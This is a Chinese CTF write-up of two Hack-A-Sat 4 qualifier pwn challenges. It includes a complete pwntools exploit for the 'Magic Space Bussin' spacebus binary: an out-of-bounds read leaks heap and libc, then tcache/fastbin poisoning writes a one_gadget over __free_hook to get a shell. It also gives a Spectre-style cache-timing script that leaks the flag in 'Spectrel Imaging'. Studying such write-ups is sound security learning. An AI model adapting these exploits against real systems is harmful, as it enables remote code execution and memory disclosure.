一
Magic Space Bussin
题目描述 I hate embedded SWEs. Always talking about how you should preallocate all the memory you need in the data section if you’re using a bus. This isn’t the 90s anymore. The heap is bussin fr fr. Don’t trust me? Fine. You’re more than welcome to test my spacebus implementation. 附件https://github.com/X1ngn/ctf/blob/master/magic_public.tar.gz
CalcPayloadLen
函数会保存原来的长度,在读取信息时会根据节点中保存的长度输出内存中的数据,可以越界读。SB_Msg* SB_Pipe::ParsePayload(const std::string& s, bool ishex, uint8_t pipe_id, uint8_t msg_id){
if(s.length() == 0){
return nullptr;
}
uint8_t* msg_s = AllocatePlBuff(ishex, s);
if(ishex){
char cur_byte[3] = {0};
for(size_t i = 0, j = 0; i < CalcPayloadLen(ishex, s); i+=2, j++){
cur_byte[0] = s[i];
cur_byte[1] = s[i+1];
msg_s[j] = static_cast<uint8_t>(std::strtol(cur_byte, nullptr, 16));
}
}
else{
for(size_t i = 0; i < CalcPayloadLen(ishex, s); i++){
msg_s[i] = static_cast<uint8_t>(s[i]);
}
}
SB_Msg* payload = new SB_Msg{
msg_s,
pipe_id,
msg_id,
CalcPayloadLen(ishex, s)
};
return payload;
}
if(payload->pipe_id == UINT8_MAX){
if(this->msg_id_pipe_lens[payload->msg_id] <= this->msg_max_subs){
bool copy = true;
for(i = 0; i < this->msg_id_pipe_lens[payload->msg_id]; i++){
cur_pipe_num = this->msg_id_pipe_map[payload->msg_id][i];
if(i == (this->msg_id_pipe_lens[payload->msg_id]-1)){//如果是最后一个管道,则不copy
copy = false;
}
pipe = GetPipeByNum(cur_pipe_num);
if(pipe->SendMsgToPipe(payload, copy) != SB_SUCCESS){
LOG_ERR("Unable to send payload to Pipe Num: %dn", cur_pipe_num);
delete payload->data; //data大小可控 SB_Msg 0x30
ret = SB_FAIL;
}
}
if(i == 0){
LOG_ERR("No pipes subscribed to Msg ID: %dn", payload->msg_id);
delete payload->data;
ret = SB_FAIL;
}
payload->data = nullptr;
}
else{
LOG_ERR("Too many pipes subscribed to Msg ID: %d. Bailing out...n", payload->msg_id);
exit(-1);
}
}
#!/usr/bin/python3
from pwn import *
import sys
import time
context.log_level = 'debug'
context.arch='amd64'
def exp(ip, port):
local=0
binary_name='magic'
libc_name='libc-2.31.so'
libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)
if local:
p=process("./"+binary_name)
else:
p=remote(ip,port)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def cho(choice):
ru('>')
sl(str(choice))
def post(msg_id, pipe_id, x, msg):
cho(1)
ru('msg_id:')
sl(str(msg_id))
ru('pipe_id:')
sl(str(pipe_id))
ru('hex:')
sl(str(x))
ru('post on bus:')
sl(msg)
def handle0():
cho(2)
def handle1():
cho(3)
'''
TEST_MSG=100,
GET_STARS=101, // NOT IMPLEMENTED UNTIL TESTING COMPLETE
NUM_STARS=102, // NOT IMPLEMENTED UNTIL TESTING COMPLETE
BRIGHTEST_STARS=103, // NOT IMPLEMENTED UNTIL TESTING COMPLETE
RESET=104, // NOT IMPLEMENTED UNTIL TESTING COMPLETE
CALIBRATE=105, // NOT IMPLEMENTED UNTIL TESTING COMPLETE
QUATERNION=106 // NOT IMPLEMENTED UNTIL TESTING COMPLETE
'''
if 0==local:
ru('Ticket please:n')
sl('ticket{}')
post(100, 1, 1, '1'*0x781)
handle1()
ru('0x1 0 0 0 0 0 0 0 0x21')
for i in range(23):
ru(' ')
heap=0
for i in range(6):
ru(' ')
tmp = int(p.recv(4)[2:],16)
heap = heap | (tmp<<(i*8))
log.info(hex(heap))
for i in range(10):
ru(' ')
libcbase=0
for i in range(6):
ru(' ')
tmp = int(p.recv(4)[2:],16)
libcbase = libcbase | (tmp<<(i*8))
libcbase -= 0x1ecbe0
log.info(hex(libcbase))
post(101, 0, 0, '2'*0x68)
for i in range(10):
post(101, 255, 0, '2'*0x68)
for i in range(9):
handle1()
for i in range(10):
handle0()
#tcache:abbbbbb
#fastbin:bbbb...
#h0:
#h1:a
for i in range(6):
post(101, 0, 0, '2'*0x68)
post(101, 1, 0, '2'*0x68)
post(101, 0, 0, '2'*0x68)
post(101, 0, 0, '2'*0x68)
#tcache:
#fastbin:bbbb...
#h0:bbbbbbbb
#h1:aa
for i in range(7):
handle0()
handle1()
handle0()
handle1()
#tcache:bbbbbbb
#fastbin:ababbbb...
#h0:
#h1:
free_hook = libc.symbols['__free_hook']+libcbase
log.info(hex(free_hook))
one = [0xe3afe, 0xe3b01, 0xe3b04]
for i in range(7):
post(101, 0, 0, '2'*0x68)
post(101, 1, 0, p64(free_hook)+b'2'*0x60)
post(101, 1, 0, b'2'*0x68)
post(101, 1, 0, b'2'*0x68)
post(101, 1, 0, p64(libcbase+one[1])+b'2'*0x60)
p.interactive()
return ''
if __name__ == "__main__":
flag = exp('magic.quals2023-kah5Aiv9.satellitesabove.me', 5300)
二
Spectrel Imaging
题目描述 This satellite has a spectral imaging payload. We managed to get our hands on the binary for the sequencer software that handles command sequences to the payload. The processor will be Intel Skylake or Cascade Lake. 附件
array1[array2[i]]
这样的访存语句(会对i进行一些数组越界检查),并且要清空所有的cache排除干扰,思路是提前执行一些指令去训练CPU的分支预测器,即多次循环都是满足检查条件正常访问内存,在最后攻击时访问目标不可访问的内存,而CPU乱序执行会按照之前的经验提前预测这次也可以访问,将此时的array1[array2[i]]
读取出来,而实际上由于此时的i不符合检查,是不能访问的。array1[array2[i]]
中的数据,但是此时目标内存的数据由于被读取过,其所在的cache行已经被调到cache中,只要遍历[array1[i] for i in range(32, 127)]
,这时如果cache命中,访问的时间会很短,以此作为概率去猜测i越界时array2[i]
中的值。逆向用到的一些编译器提供的函数: void _mm_clflush(void const* p);
清空p地址处所在的缓存void _mm_mfence ();
内存读写屏障,确保屏障前后的指令不会因为优化等原因乱序
Scheduler {
int fd; // 0 /fpga/spectral
uint64_t padding; // 8
uint16_t Timing // 16
uint16_t seq_max; // 18 256
uint16_t star_max; // 20 0xFA
char stars[0xfA][0x200]; // 22
char padding[0x10];
char seq[0x100]; // 0x1F416
char flag[]; // 0x1F516
}
jmp rax
,IDA就无法识别跳转,通过汇编可以看到各个分支。seq[flag[i]]
并打算作为stars字符串数组的下标,在真正执行到判断条件时发现idx越界了,再恢复寄存器等上下文信息到未取出seq[flag[i]]
时的样子,但是此时seq[flag[i]]
已经在cache中了。flag[i]
的值。def emit_check(char_idx, char_val):
s = ""
for _ in range(0, 3):
s += "0n"
for i in range(0xf0, 0x100):
s += f"6n{i} 0n"
s += f"7n"
s += " ".join(map(str, [i for i in range(0xf0, 0x100)] + [0x100 + char_idx])) + "n"
s += f"3n"
s += f"5n"
s += f"{char_val}n"
s += f"2n"
return s
with open("submission", "w") as f:
for i in range(0, 120):
for j in range(0x20, 0x7f):
f.write(emit_check(i, j))
repeat = 3
l = 120
flag = ''
with open("out", "r") as f:
f.readline()
f.readline()
for i in range(0, l):
time = []
for j in range(0x20, 0x7f):
s = 0
for _ in range(repeat):
s += int(f.readline()[8:], 10)
time.append(s/repeat)
flag += chr(32+time.index(min(time)))
print(flag)
$ python3 test.py
flag{ThisIsNotARealFlagButYouCanUseItToTest!!!!}hR^hL[Q=G9*?T4)hry&]dbqX,[q6l[.IDNg-qV
看雪ID:X1ng
https://bbs.kanxue.com/user-home-869963.htm
# 往期推荐
3、安卓加固脱壳分享
球分享
球点赞
球在看
原文始发于微信公众号(看雪学苑):Hack-A-Sat 4 Qualifiers pwn部分题解